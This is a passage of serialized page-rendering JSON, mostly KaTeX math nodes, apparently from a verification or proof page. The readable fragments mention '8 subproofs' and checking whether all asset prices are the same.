prices",{"type":23,"tag":88,"props":94423,"children":94424},{},[94425],{"type":28,"value":92684},{"type":23,"tag":24,"props":94427,"children":94428},{},[94429],{"type":23,"tag":721,"props":94430,"children":94431},{},[94432],{"type":28,"value":92697},{"type":23,"tag":127,"props":94434,"children":94435},{},[94436],{"type":23,"tag":88,"props":94437,"children":94438},{},[94439],{"type":28,"value":94440},"8 subproofs",{"type":23,"tag":24,"props":94442,"children":94443},{},[94444],{"type":23,"tag":721,"props":94445,"children":94446},{},[94447],{"type":28,"value":92718},{"type":23,"tag":127,"props":94449,"children":94450},{},[94451,94861,95192,95559,95946],{"type":23,"tag":88,"props":94452,"children":94453},{},[94454,94856,94857],{"type":23,"tag":94,"props":94455,"children":94457},{"className":94456},[3237,3238],[94458],{"type":23,"tag":314,"props":94459,"children":94461},{"className":94460},[3243],[94462],{"type":23,"tag":314,"props":94463,"children":94465},{"className":94464,"ariaHidden":1481},[3248],[94466,94602],{"type":23,"tag":314,"props":94467,"children":94469},{"className":94468},[3253],[94470,94474,94479,94484,94489,94494,94499,94504,94509,94514,94519,94524,94529,94534,94539,94544,94549,94554,94559,94564,94569,94574,94579,94584,94589,94593,94598],{"type":23,"tag":314,"props":94471,"children":94473},{"className":94472,"style":92241},[3258],[],{"type":23,"tag":314,"props":94475,"children":94477},{"className":94476},[3264,20825],[94478],{"type":28,"value":20967},{"type":23,"tag":314,"props":94480,"children":94482},{"className":94481},[3264,20825],[94483],{"type":28,"value":92269},{"type":23,"tag":314,"props":94485,"children":94487},{"className":94486},[3264,20825],[94488],{"type":28,"value":20967},{"type":23,"tag":314,"props":94490,"children":94492},{"className":94491},[3264,20825],[94493],{"type":28,"value":31},{"type":23,"tag":314,"props":94495,"children":94497},{"className":94496,"style":92311},[3264,20825],[94498],{"type":28,"value":92314},{"type":23,"tag":314,"props":94500,"children":94502},{"className":94501,"style":92299},[3264],[94503],{"type":28,"value":2338},{"type":23,"tag":314,"props":94505,"children":94507},{"className":94506},[3264,20825],[94508],{"type":28,"value":31},{"type":23,"tag":314,"props":94510,"children":94512},{"className":94511},[3264,20825],[94513],{"type":28,"value":92290},{"type":23,"tag":314,"props":94515,"children":94517},{"className":94516},[3264,20825],[94518],{"type":28,"value":20967},{"type":23,"tag":314,"props":94520,"children":94522},{"className":94521,"style":92299},[3264],[94523],{"type":28,"value":2338},{"type":23,"tag":314,"props":94525,"children":94527},{"className":94526},[3264,20825],[94528],{"type":28,"value":92307},{"type":23,"tag":314,"props":94530,"children":94532},{"className":94531,"style":92311},[3264,20825],[94533],{"type":28,"value":92314},{"type":23,"tag":314,"props":94535,"children":94537},{"className":94536},[3264,20825],[94538],{"type":28,"value":92320},{"type":23,"tag":314,"props":94540,"children":94542},{"className":94541},[3264,20825],[94543],{"type":28,"value":92326},{"type":23,"tag":314,"props":94545,"children":94547},{"className":94546},[20954],[94548],{"type":28,"value":1312},{"type":23,"tag":314,"props":94550,"children":94552},{"className":94551},[3264,20825],[94553],{"type":28,"value":31},{"type":23,"tag":314,"props":94555,"children":94557},{"className":94556},[3264,20825],[94558],{"type":28,"value":92290},{"type":23,"tag":314,"props":94560,"children":94562},{"className":94561},[3264,20825],[94563],{"type":28,"value":20967},{"type":23,"tag":314,"props":94565,"children":94567},{"className":94566,"style":92299},[3264],[94568],{"type":28,"value":2338},{"type":23,"tag":314,"props":94570,"children":94572},{"className":94571},[3264,20825],[94573],{"type":28,"value":55654},{"type":23,"tag":314,"props":94575,"children":94577},{"className":94576},[3264,20825],[94578],{"type":28,"value":92558},{"type":23,"tag":314,"props":94580,"children":94582},{"className":94581},[3264,20825],[94583],{"type":28,"value":50384},{"type":23,"tag":314,"props":94585,"children":94587},{"className":94586},[20976],[94588],{"type":28,"value":14653},{"type":23,"tag":314,"props":94590,"children":94592},{"className":94591,"style":3442},[3344],[],{"type":23,"tag":314,"props":94594,"children":94596},{"className":94595},[3447],[94597],{"type":28,"value":7828},{"type":23,"tag":314,"props":94599,"children":94601},{"className":94600,"style":3442},[3344],[],{"type":23,"tag":314,"props":94603,"children":94605},{"className":94604},[3253],[94606,94610,94615,94620,94625,94630,94635,94640,94646,94705,94710,94715,94720,94725,94730,94735,94740,94745,94751,94756,94761,94766,94771,94776,94781,94786,94791,94796,94801,94806,94811,94816,94821,94826,94831,94836,94841,94846,94851],{"type":23,"tag":314,"props":94607,"children":94609},{"className":94608,"style":92241},[3258],[],{"type":23,"tag":314,"props":94611,"children":94613},{"className":94612},[3264],[94614],{"type":28,"value":92889},{"type":23,"tag":314,"props":94616,"children":94618},{"className":94617},[3344],[94619],{"type":28,"value":20926},{"type":23,"tag":314,"props":94621,"children":94623},{"className":94622},[3264,20825],[94624],{"type":28,"value":9900},{"type":23,"tag":314,"props":94626,"children":94628},{"className":94627},[3264,20825],[94629],{"type":28,"value":92558},{"type":23,"tag":314,"props":94631,"children":94633},{"className":94632},[3264,20825],[94634],{"type":28,"value":2477},{"type":23,"tag":314,"props":94636,"children":94638},{"className":94637},[3264,20825],[94639],{"type":28,"value":24},{"type":23,"tag":314,"props":94641,"children":94643},{"className":94642},[3264,20825],[94644],{"type":28,"value":94645},"roo",{"type":23,"tag":314,"props":94647,"children":94649},{"className":94648},[3264],[94650,94656],{"type":23,"tag":314,"props":94651,"children":94654},{"className":94652,"style":94653},[3264,20825],"margin-right:0.10764em;",[94655],{"type":28,"value":32333},{"type":23,"tag":314,"props":94657,"children":94659},{"className":94658},[3280],[94660],{"type":23,"tag":314,"props":94661,"children":94663},{"className":94662},[3285,20879],[94664,94694],{"type":23,"tag":314,"props":94665,"children":94667},{"className":94666},[3290],[94668,94689],{"type":23,"tag":314,"props":94669,"children":94671},{"className":94670,"style":92828},[3295],[94672],{"type":23,"tag":314,"props":94673,"children":94675},{"style":94674},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[94676,94680],{"type":23,"tag":314,"props":94677,"children":94679},{"className":94678,"style":3305},[3304],[],{"type":23,"tag":314,"props":94681,"children":94683},{"className":94682},[3310,3311,3312,3313],[94684],{"type":23,"tag":314,"props":94685,"children":94687},{"className":94686},[3264,20825,3313],[94688],{"type":28,"value":2993},{"type":23,"tag":314,"props":94690,"children":94692},{"className":94691},[20982],[94693],{"type":28,"value":20985},{"type":23,"tag":314,"props":94695,"children":94697},{"className":94696},[3290],[94698],{"type":23,"tag":314,"props":94699,"children":94701},{"className":94700,"style":92382},[3295],[94702],{"type":23,"tag":314,"props":94703,"children":94704},{},[],{"type":23,"tag":314,"props":94706,"children":94708},{"className":94707},[3264],[94709],{"type":28,"value":282},{"type":23,"tag":314,"props":94711,"children":94713},{"className":94712},[3264,20825],[94714],{"type":28,"value":24},{"type":23,"tag":314,"props":94716,"children":94718},{"className":94717},[3264,20825],[94719],{"type":28,"value":92558},{"type":23,"tag":314,"props":94721,"children":94723},{"className":94722},[3264,20825],[94724],{"type":28,"value":2477},{"type":23,"tag":314,"props":94726,"children":94728},{"className":94727,"style":92311},[3264,20825],[94729],{"type":28,"value":92314},{"type":23,"tag":314,"props":94731,"children":94733},{"className":94732},[3264,20825],[94734],{"type":28,"value":2993},{"type":23,"tag":314,"props":94736,"children":94738},{"className":94737},[3264,20825],[94739],{"type":28,"value":308},{"type":23,"tag":314,"props":94741,"children":94743},{"className":94742,"style":92299},[3264],[94744],{"type":28,"value":2338},{"type":23,"tag":314,"props":94746,"children":94748},{"className":94747},[3264,20825],[94749],{"type":28,"value":94750},"in",{"type":23,"tag":314,"props":94752,"children":94754},{"className":94753},[3264,20825],[94755],{"type":28,"value":24},{"type":23,"tag":314,"props":94757,"children":94759},{"className":94758},[3264,20825],[94760],{"type":28,"value":92558},{"type":23,"tag":314,"props":94762,"children":94764},{"className":94763},[3264,20825],[94765],{"type":28,"value":20967},{"type":23,"tag":314,"props":94767,"children":94769},{"className":94768},[3264],[94770],{"type":28,"value":282},{"type":23,"tag":314,"props":94772,"children":94774},{"className":94773},[3264,20825],[94775],{"type":28,"value":31},{"type":23,"tag":314,"props":94777,"children":94779},{"className":94778},[3264,20825],[94780],{"type":28,"value":92290},{"type":23,"tag":314,"props":94782,"children":94784},{"className":94783},[3264,20825],[94785],{"type":28,"value":20967},{"type":23,"tag":314,"props":94787,"children":94789},{"className":94788,"style":92299},[3264],[94790],{"type":28,"value":2338},{"type":23,"tag":314,"props":94792,"children":94794},{"className":94793},[3264,20825],[94795],{"type":28,"value":92307},{"type":23,"tag":314,"props":94797,"children":94799},{"className":94798,"style":92311},[3264,20825],[94800],{"type":28,"value":92314},{"type":23,"tag":314,"props":94802,"children":94804},{"className":94803},[3264,20825],[94805],{"type":28,"value":92320},{"type":23,"tag":314,"props":94807,"children":94809},{"className":94808},[3264,20825],[94810],{"type":28,"value":93129},{"type":23,"tag":314,"props":94812,"children":94814},{"className":94813},[20954],[94815],{"type":28,"value":1312},{"type":23,"tag":314,"props":94817,"children":94819},{"className":94818},[3264,20825],[94820],{"type":28,"value":31},{"type":23,"tag":314,"props":94822,"children":94824},{"className":94823},[3264,20825],[94825],{"type":28,"value":92290},{"type":23,"tag":314,"props":94827,"children":94829},{"className":94828},[3264,20825],[94830],{"type":28,"value":20967},{"type":23,"tag":314,"props":94832,"children":94834},{"className":94833,"style":92299},[3264],[94835],{"type":28,"value":2338},{"type":23,"tag":314,"props":94837,"children":94839},{"className":94838},[3264,20825],[94840],{"type":28,"value":55654},{"type":23,"tag":314,"props":94842,"children":94844},{"className":94843},[3264,20825],[94845],{"type":28,"value":92558},{"type":23,"tag":314,"props":94847,"children":94849},{"className":94848},[3264,20825],[94850],{"type":28,"value":50384},{"type":23,"tag":314,"props":94852,"children":94854},{"className":94853},[20976],[94855],{"type":28,"value":14653},{"type":28,"value":5713},{"type":23,"tag":721,"props":94858,"children":94859},{},[94860],{"type":28,"value":93689},{"type":23,"tag":88,"props":94862,"children":94863},{},[94864],{"type":23,"tag":94,"props":94865,"children":94867},{"className":94866},[3237,3238],[94868],{"type":23,"tag":314,"props":94869,"children":94871},{"className":94870},[3243],[94872],{"type":23,"tag":314,"props":94873,"children":94875},{"className":94874,"ariaHidden":1481},[3248],[94876,94982],{"type":23,"tag":314,"props":94877,"children":94879},{"className":94878},[3253],[94880,94884,94889,94894,94899,94904,94909,94914,94919,94924,94929,94934,94939,94944,94949,94954,94959,94964,94969,94973,94978],{"type":23,"tag":314,"props":94881,"children":94883},{"className":94882,"style":92241},[3258],[],{"type":23,"tag":314,"props":94885,"children":94887},{"className":94886},[3264,20825],[94888],{"type":28,"value":31},{"type":23,"tag":314,"props":94890,"children":94892},{"className":94891},[3264,20825],[94893],{"type":28,"value":92290},{"type":23,"tag":314,"props":94895,"children":94897},{"className":94896},[3264,20825],[94898],{"type":28,"value":20967},{"type":23,"tag":314,"props":94900,"children":94902},{"className":94901,"style":92299},[3264],[94903],{"type":28,"value":2338},{"type":23,"tag":314,"props":94905,"children":94907},{"className":94906},[3264,20825],[94908],{"type":28,"value":24},{"type":23,"tag":314,"props":94910,"children":94912},{"className":94911,"style":92299},[3264,20825],[94913],{"type":28,"value":93118},{"type":23,"tag":314,"props":94915,"children":94917},{"className":94916},[3264,20825],[94918],{"type":28,"value":2993},{"type":23,"tag":314,"props":94920,"children":94922},{"className":94921},[3264,20825],[94923],{"type":28,"value":92326},{"type":23,"tag":314,"props":94925,"children":94927},{"className":94926},[20954],[94928],{"type":28,"value":1312},{"type":23,"tag":314,"props":94930,"children":94932},{"className":94931},[3264,20825],[94933],{"type":28,"value":31},{"type":23,"tag":314,"props":94935,"children":94937},{"className":94936},[3264,20825],[94938],{"type":28,"value":92290},{"type":23,"tag":314,"props":94940,"children":94942},{"className":94941},[3264,20825],[94943],{"type":28,"value":20967},{"type":23,"tag":314,"props":94945,"children":94947},{"className":94946,"style":92299},[3264],[94948],{"type":28,"value":2338},{"type":23,"tag":314,"props":94950,"children":94952},{"className":94951},[3264,20825],[94953],{"type":28,"value":55654},{"type":23,"tag":314,"props":94955,"children":94957},{"className":94956},[3264,20825],[94958],{"type":28,"value":92558},{"type":23,"tag":314,"props":94960,"children":94962},{"className":94961},[3264,20825],[94963],{"type":28,"value":50384},{"type":23,"tag":314,"props":94965,"children":94967},{"className":94966},[20976],[94968],{"type":28,"value":14653},{"type":23,"tag":314,"props":94970,"children":94972},{"className":94971,"style":3442},[3344],[],{"type":23,"tag":314,"props":94974,"children":94976},{"className":94975},[3447],[94977],{"type":28,"value":7828},{"type":23,"tag":314,"props":94979,"children":94981},{"className":94980,"style":3442},[3344],[],{"type":23,"tag":314,"props":94983,"children":94985},{"className":94984},[3253],[94986,94990,94995,95000,95005,95010,95015,95072,95077,95082,95087,95092,95097,95102,95107,95112,95117,95122,95127,95132,95137,95142,95147,95152,95157,95162,95167,95172,95177,95182,95187],{"type":23,"tag":314,"props":94987,"children":94989},{"className":94988,"style":92241},[3258],[],{"type":23,"tag":314,"props":94991,"children":94993},{"className":94992},[3264,20825],[94994],{"type":28,"value":9900},{"type":23,"tag":314,"props":94996,"children":94998},{"className":94997},[3264,20825],[94999],{"type":28,"value":92558},{"type":23,"tag":314,"props":95001,"children":95003},{"className":95002},[3264,20825],[95004],{"type":28,"value":2477},{"type":23,"tag":314,"props":95006,"children":95008},{"className":95007},[3264,20825],[95009],{"type":28,"value":24},{"type":23,"tag":314,"props":95011,"children":95013},{"className":95012},[3264,20825],[95014],{"type":28,"value":94645},{"type":23,"tag":314,"props":95016,"children":95018},{"className":95017},[3264],[95019,95024],{"type":23,"tag":314,"props":95020,"children":95022},{"className":95021,"style":94653},[3264,20825],[95023],{"type":28,"value":32333},{"type":23,"tag":314,"props":95025,"children":95027},{"className":95026},[3280],[95028],{"type":23,"tag":314,"props":95029,"children":95031},{"className":95030},[3285,20879],[95032,95061],{"type":23,"tag":314,"props":95033,"children":95035},{"className":95034},[3290],[95036,95056],{"type":23,"tag":314,"props":95037,"children":95039},{"className":95038,"style":92828},[3295],[95040],{"type":23,"tag":314,"props":95041,"children":95042},{"style":94674},[95043,95047],{"type":23,"tag":314,"props":95044,"children":95046},{"className":95045,"style":3305},[3304],[],{"type":23,"tag":314,"props":95048,"children":95050},{"className":95049},[3310,3311,3312,3313],[95051],{"type":23,"tag":314,"props":95052,"children":95054},{"className":95053},[3264,20825,3313],[95055],{"type":28,"value":2993},{"type":23,"tag":314,"props":95057,"children":95059},{"className":95058},[20982],[95060],{"type":28,"value":20985},{"type":23,"tag":314,"props":95062,"children":95064},{"className":95063},[3290],[95065],{"type":23,"tag":314,"props":95066,"children":95068},{"className":95067,"style":92382},[3295],[95069],{"type":23,"tag":314,"props":95070,"children":95071},{},[],{"type":23,"tag":314,"props":95073,"children":95075},{"className":95074},[3264],[95076],{"type":28,"value":282},{"type":23,"tag":314,"props":95078,"children":95080},{"className":95079},[3264,20825],[95081],{"type":28,"value":24},{"type":23,"tag":314,"props":95083,"children":95085},{"className":95084},[3264,20825],[95086],{"type":28,"value":92558},{"type":23,"tag":314,"props":95088,"children":95090},{"className":95089},[3264,20825],[95091],{"type":28,"value":2477},{"type":23,"tag":314,"props":95093,"children":95095},{"className":95094,"style":92311},[3264,20825],[95096],{"type":28,"value":92314},{"type":23,"tag":314,"props":95098,"children":95100},{"className":95099},[3264,20825],[95101],{"type":28,"value":2993},{"type":23,"tag":314,"props":95103,"children":95105},{"className":95104},[3264,20825],[95106],{"type":28,"value":308},{"type":23,"tag":314,"props":95108,"children":95110},{"className":95109,"style":92299},[3264],[95111],{"type":28,"value":2338},{"type":23,"tag":314,"props":95113,"children":95115},{"className":95114},[3264,20825],[95116],{"type":28,"value":94750},{"type":23,"tag":314,"props":95118,"children":95120},{"className":95119},[3264,20825],[95121],{"type":28,"value":24},{"type":23,"tag":314,"props":95123,"children":95125},{"className":95124},[3264,20825],[95126],{"type":28,"value":92558},{"type":23,"tag":314,"props":95128,"children":95130},{"className":95129},[3264,20825],[95131],{"type":28,"value":20967},{"type":23,"tag":314,"props":95133,"children":95135},{"className":95134},[3264],[95136],{"type":28,"value":282},{"type":23,"tag":314,"props":95138,"children":95140},{"className":95139},[3264,20825],[95141],{"type":28,"value":31},{"type":23,"tag":314,"props":95143,"children":95145},{"className":95144},[3264,20825],[95146],{"type":28,"value":92290},{"type":23,"tag":314,"props":95148,"children":95150},{"className":95149},[3264,20825],[95151],{"type":28,"value":20967},{"type":23,"tag":314,"props":95153,"children":95155},{"className":95154,"style":92299},[3264],[95156],{"type":28,"value":2338},{"type":23,"tag":314,"props":95158,"children":95160},{"className":95159},[3264,20825],[95161],{"type":28,"value":24},{"type":23,"tag":314,"props":95163,"children":95165},{"className":95164,"style":92299},[3264,20825],[95166],{"type":28,"value":93118},{"type":23,"tag":314,"props":95168,"children":95170},{"className":95169},[3264,20825],[95171],{"type":28,"value":2993},{"type":23,"tag":314,"props":95173,"children":95175},{"className":95174},[3264,20825],[95176],{"type":28,"value":93129},{"type":23,"tag":314,"props":95178,"children":95180},{"className":95179},[20954],[95181],{"type":28,"value":1312},{"type":23,"tag":314,"props":95183,"children":95185},{"className":95184},[3264],[95186],{"type":28,"value":1600},{"type":23,"tag":314,"props":95188,"children":95190},{"className":95189},[20976],[95191],{"type":28,"value":14653},{"type":23,"tag":88,"props":95193,"children":95194},{},[95195,95553,95554],{"type":23,"tag":94,"props":95196,"children":95198},{"className":95197},[3237,3238],[95199],{"type":23,"tag":314,"props":95200,"children":95202},{"className":95201},[3243],[95203],{"type":23,"tag":314,"props":95204,"children":95206},{"className":95205,"ariaHidden":1481},[3248],[95207,95313],{"type":23,"tag":314,"props":95208,"children":95210},{"className":95209},[3253],[95211,95215,95220,95225,95230,95235,95240,95245,95250,95255,95260,95265,95270,95275,95280,95285,95290,95295,95300,95304,95309],{"type":23,"tag":314,"props":95212,"children":95214},{"className":95213,"style":92241},[3258],[],{"type":23,"tag":314,"props":95216,"children":95218},{"className":95217},[3264,20825],[95219],{"type":28,"value":31},{"type":23,"tag":314,"props":95221,"children":95223},{"className":95222},[3264,20825],[95224],{"type":28,"value":92290},{"type":23,"tag":314,"props":95226,"children":95228},{"className":95227},[3264,20825],[95229],{"type":28,"value":20967},{"type":23,"tag":314,"props":95231,"children":95233},{"className":95232,"style":92299},[3264],[95234],{"type":28,"value":2338},{"type":23,"tag":314,"props":95236,"children":95238},{"className":95237},[3264,20825],[95239],{"type":28,"value":24},{"type":23,"tag":314,"props":95241,"children":95243},{"className":95242,"style":92299},[3264,20825],[95244],{"type":28,"value":93118},{"type":23,"tag":314,"props":95246,"children":95248},{"className":95247},[3264,20825],[95249],{"type":28,"value":2993},{"type":23,"tag":314,"props":95251,"children":95253},{"className":95252},[3264,20825],[95254],{"type":28,"value":92326},{"type":23,"tag":314,"props":95256,"children":95258},{"className":95257},[20954],[95259],{"type":28,"value":1312},{"type":23,"tag":314,"props":95261,"children":95263},{"className":95262},[3264,20825],[95264],{"type":28,"value":31},{"type":23,"tag":314,"props":95266,"children":95268},{"className":95267},[3264,20825],[95269],{"type":28,"value":92290},{"type":23,"tag":314,"props":95271,"children":95273},{"className":95272},[3264,20825],[95274],{"type":28,"value":20967},{"type":23,"tag":314,"props":95276,"children":95278},{"className":95277,"style":92299},[3264],[95279],{"type":28,"value":2338},{"type":23,"tag":314,"props":95281,"children":95283},{"className":95282},[3264,20825],[95284],{"type":28,"value":55654},{"type":23,"tag":314,"props":95286,"children":95288},{"className":95287},[3264,20825],[95289],{"type":28,"value":92558},{"type":23,"tag":314,"props":95291,"children":95293},{"className":95292},[3264,20825],[95294],{"type":28,"value":50384},{"type":23,"tag":314,"props":95296,"children":95298},{"className":95297},[20976],[95299],{"type":28,"value":14653},{"type":23,"tag":314,"props":95301,"children":95303},{"className":95302,"style":3442},[3344],[],{"type":23,"tag":314,"props":95305,"children":95307},{"className":95306},[3447],[95308],{"type":28,"value":7828},{"type":23,"tag":314,"props":95310,"children":95312},{"className":95311,"style":3442},[3344],[],{"type":23,"tag":314,"props":95314,"children":95316},{"className":95315},[3253],[95317,95321,95326,95331,95336,95341,95346,95403,95408,95413,95418,95423,95428,95433,95438,95443,95448,95453,95458,95463,95468,95473,95478,95483,95488,95493,95498,95503,95508,95513,95518,95523,95528,95533,95538,95543,95548],{"type":23,"tag":314,"props":95318,"children":95320},{"className":95319,"style":92241},[3258],[],{"type":23,"tag":314,"props":95322,"children":95324},{"className":95323},[3264,20825],[95325],{"type":28,"value":9900},{"type":23,"tag":314,"props":95327,"children":95329},{"className":95328},[3264,20825],[95330],{"type":28,"value":92558},{"type":23,"tag":314,"props":95332,"children":95334},{"className":95333},[3264,20825],[95335],{"type":28,"value":2477},{"type":23,"tag":314,"props":95337,"children":95339},{"className":95338},[3264,20825],[95340],{"type":28,"value":24},{"type":23,"tag":314,"props":95342,"children":95344},{"className":95343},[3264,20825],[95345],{"type":28,"value":94645},{"type":23,"tag":314,"props":95347,"children":95349},{"className":95348},[3264],[95350,95355],{"type":23,"tag":314,"props":95351,"children":95353},{"className":95352,"style":94653},[3264,20825],[95354],{"type":28,"value":32333},{"type":23,"tag":314,"props":95356,"children":95358},{"className":95357},[3280],[95359],{"type":23,"tag":314,"props":95360,"children":95362},{"className":95361},[3285,20879],[95363,95392],{"type":23,"tag":314,"props":95364,"children":95366},{"className":95365},[3290],[95367,95387],{"type":23,"tag":314,"props":95368,"children":95370},{"className":95369,"style":92828},[3295],[95371],{"type":23,"tag":314,"props":95372,"children":95373},{"style":94674},[95374,95378],{"type":23,"tag":314,"props":95375,"children":95377},{"className":95376,"style":3305},[3304],[],{"type":23,"tag":314,"props":95379,"children":95381},{"className":95380},[3310,3311,3312,3313],[95382],{"type":23,"tag":314,"props":95383,"children":95385},{"className":95384},[3264,20825,3313],[95386],{"type":28,"value":2993},{"type":23,"tag":314,"props":95388,"children":95390},{"className":95389},[20982],[95391],{"type":28,"value":20985},{"type":23,"tag":314,"props":95393,"children":95395},{"className":95394},[3290],[95396],{"type":23,"tag":314,"props":95397,"children":95399},{"className":95398,"style":92382},[3295],[95400],{"type":23,"tag":314,"props":95401,"children":95402},{},[],{"type":23,"tag":314,"props":95404,"children":95406},{"className":95405},[3264],[95407],{"type":28,"value":282},{"type":23,"tag":314,"props":95409,"children":95411},{"className":95410},[3264,20825],[95412],{"type":28,"value":24},{"type":23,"tag":314,"props":95414,"children":95416},{"className":95415},[3264,20825],[95417],{"type":28,"value":92558},{"type":23,"tag":314,"props":95419,"children":95421},{"className":95420},[3264,20825],[95422],{"type":28,"value":2477},{"type":23,"tag":314,"props":95424,"children":95426},{"className":95425,"style":92311},[3264,20825],[95427],{"type":28,"value":92314},{"type":23,"tag":314,"props":95429,"children":95431},{"className":95430},[3264,20825],[95432],{"type":28,"value":2993},{"type":23,"tag":314,"props":95434,"children":95436},{"className":95435},[3264,20825],[95437],{"type":28,"value":308},{"type":23,"tag":314,"props":95439,"children":95441},{"className":95440,"style":92299},[3264],[95442],{"type":28,"value":2338},{"type":23,"tag":314,"props":95444,"children":95446},{"className":95445},[3264,20825],[95447],{"type":28,"value":94750},{"type":23,"tag":314,"props":95449,"children":95451},{"className":95450},[3264,20825],[95452],{"type":28,"value":24},{"type":23,"tag":314,"props":95454,"children":95456},{"className":95455},[3264,20825],[95457],{"type":28,"value":92558},{"type":23,"tag":314,"props":95459,"children":95461},{"className":95460},[3264,20825],[95462],{"type":28,"value":20967},{"type":23,"tag":314,"props":95464,"children":95466},{"className":95465},[3264],[95467],{"type":28,"value":282},{"type":23,"tag":314,"props":95469,"children":95471},{"className":95470},[3264,20825],[95472],{"type":28,"value":31},{"type":23,"tag":314,"props":95474,"children":95476},{"className":95475},[3264,20825],[95477],{"type":28,"value":92290},{"type":23,"tag":314,"props":95479,"children":95481},{"className":95480},[3264,20825],[95482],{"type":28,"value":20967},{"type":23,"tag":314,"props":95484,"children":95486},{"className":95485,"style":92299},[3264],[95487],{"type":28,"value":2338},{"type":23,"tag":314,"props":95489,"children":95491},{"className":95490},[3264,20825],[95492],{"type":28,"value":24},{"type":23,"tag":314,"props":95494,"children":95496},{"className":95495,"style":92299},[3264,20825],[95497],{"type":28,"value":93118},{"type":23,"tag":314,"props":95499,"children":95501},{"className":95500},[3264,20825],[95502],{"type":28,"value":2993},{"type":23,"tag":314,"props":95504,"children":95506},{"className":95505},[3264,20825],[95507],{"type":28,"value":93129},{"type":23,"tag":314,"props":95509,"children":95511},{"className":95510},[20954],[95512],{"type":28,"value":1312},{"type":23,"tag":314,"props":95514,"children":95516},{"className":95515},[3264,20825],[95517],{"type":28,"value":31},{"type":23,"tag":314,"props":95519,"children":95521},{"className":95520},[3264,20825],[95522],{"type":28,"value":92290},{"type":23,"tag":314,"props":95524,"children":95526},{"className":95525},[3264,20825],[95527],{"type":28,"value":20967},{"type":23,"tag":314,"props":95529,"children":95531},{"className":95530,"style":92299},[3264],[95532],{"type":28,"value":2338},{"type":23,"tag":314,"props":95534,"children":95536},{"className":95535},[3264,20825],[95537],{"type":28,"value":55654},{"type":23,"tag":314,"props":95539,"children":95541},{"className":95540},[3264,20825],[95542],{"type":28,"value":92558},{"type":23,"tag":314,"props":95544,"children":95546},{"className":95545},[3264,20825],[95547],{"type":28,"value":50384},{"type":23,"tag":314,"props":95549,"children":95551},{"className":95550},[20976],[95552],{"type":28,"value":14653},{"type":28,"value":5713},{"type":23,"tag":721,"props":95555,"children":95556},{},[95557],{"type":28,"value":95558},"(verifies if all asset prices are the same)",{"type":23,"tag":88,"props":95560,"children":95561},{},[95562,95941,95942],{"type":23,"tag":94,"props":95563,"children":95565},{"className":95564},[3237,3238],[95566],{"type":23,"tag":314,"props":95567,"children":95569},{"className":95568},[3243],[95570],{"type":23,"tag":314,"props":95571,"children":95573},{"className":95572,"ariaHidden":1481},[3248],[95574,95655],{"type":23,"tag":314,"props":95575,"children":95577},{"className":95576},[3253],[95578,95582,95587,95592,95597,95602,95607,95612,95617,95622,95627,95632,95637,95642,95646,95651],{"type":23,"tag":314,"props":95579,"children":95581},{"className":95580,"style":93712},[3258],[],{"type":23,"tag":314,"props":95583,"children":95585},{"className":95584},[3264,20825],[95586],{"type":28,"value":50384},{"type":23,"tag":314,"props":95588,"children":95590},{"className":95589,"style":92299},[3264,20825],[95591],{"type":28,"value":93724},{"type":23,"tag":314,"props":95593,"children":95595},{"className":95594,"style":93728},[3264,20825],[95596],{"type":28,"value":87936},{"type":23,"tag":314,"props":95598,"children":95600},{"className":95599,"style":92311},[3264,20825],[95601],{"type":28,"value":92314},{"type":23,"tag":314,"props":95603,"children":95605},{"className":95604},[3264,20825],[95606],{"type":28,"value":50705},{"type":23,"tag":314,"props":95608,"children":95610},{"className":95609,"style":92299},[3264],[95611],{"type":28,"value":2338},{"type":23,"tag":314,"props":95613,"children":95615},{"className":95614},[3264,20825],[95616],{"type":28,"value":20967},{"type":23,"tag":314,"props":95618,"children":95620},{"className":95619},[3264,20825],[95621],{"type":28,"value":93756},{"type":23,"tag":314,"props":95623,"children":95625},{"className":95624,"style":92299},[3264],[95626],{"type":28,"value":2338},{"type":23,"tag":314,"props":95628,"children":95630},{"className":95629},[3264,20825],[95631],{"type":28,"value":93767},{"type":23,"tag":314,"props":95633,"children":95635},{"className":95634},[3264,20825],[95636],{"type":28,"value":9900},{"type":23,"tag":314,"props":95638,"children":95640},{"className":95639},[3264,20825],[95641],{"type":28,"value":83597},{"type":23,"tag":314,"props":95643,"children":95645},{"className":95644,"style":3442},[3344],[],{"type":23,"tag":314,"props":95647,"children":95649},{"className":95648},[3447],[95650],{"type":28,"value":7828},{"type":23,"tag":314,"props":95652,"children":95654},{"className":95653,"style":3442},[3344],[],{"type":23,"tag":314,"props":95656,"children":95658},{"className":95657},[3253],[95659,95663,95668,95673,95678,95683,95688,95693,95698,95703,95708,95765,95770,95774,95779,95784,95841,95846,95850,95855,95860,95864,95869,95874,95936],{"type":23,"tag":314,"props":95660,"children":95662},{"className":95661,"style":3365},[3258],[],{"type":23,"tag":314,"props":95664,"children":95666},{"className":95665,"style":20826},[3264,20825],[95667],{"type":28,"value":20829},{"type":23,"tag":314,"props":95669,"children":95671},{"className":95670},[3264,20825],[95672],{"type":28,"value":92253},{"type":23,"tag":314,"props":95674,"children":95676},{"className":95675},[3264,20825],[95677],{"type":28,"value":2993},{"type":23,"tag":314,"props":95679,"children":95681},{"className":95680},[3264,20825],[95682],{"type":28,"value":69817},{"type":23,"tag":314,"props":95684,"children":95686},{"className":95685},[3264,20825],[95687],{"type":28,"value":92269},{"type":23,"tag":314,"props":95689,"children":95691},{"className":95690},[3264,20825],[95692],{"type":28,"value":55654},{"type":23,"tag":314,"props":95694,"children":95696},{"className":95695},[20954],[95697],{"type":28,"value":341},{"type":23,"tag":314,"props":95699,"children":95701},{"className":95700},[3264,20825],[95702],{"type":28,"value":93767},{"type":23,"tag":314,"props":95704,"children":95706},{"className":95705},[3264,20825],[95707],{"type":28,"value":9900},{"type":23,"tag":314,"props":95709,"children":95711},{"className":95710},[3264],[95712,95717],{"type":23,"tag":314,"props":95713,"children":95715},{"className":95714},[3264,20825],[95716],{"type":28,"value":83597},{"type":23,"tag":314,"props":95718,"children":95720},{"className":95719},[3280],[95721],{"type":23,"tag":314,"props":95722,"children":95724},{"className":95723},[3285,20879],[95725,95754],{"type":23,"tag":314,"props":95726,"children":95728},{"className":95727},[3290],[95729,95749],{"type":23,"tag":314,"props":95730,"children":95732},{"className":95731,"style":92351},[3295],[95733],{"type":23,"tag":314,"props":95734,"children":95735},{"style":92355},[95736,95740],{"type":23,"tag":314,"props":95737,"children":95739},{"className":95738,"style":3305},[3304],[],{"type":23,"tag":314,"props":95741,"children":95743},{"className":95742},[3310,3311,3312,3313],[95744],{"type":23,"tag":314,"props":95745,"children":95747},{"className":95746},[3264,3313],[95748],{"type"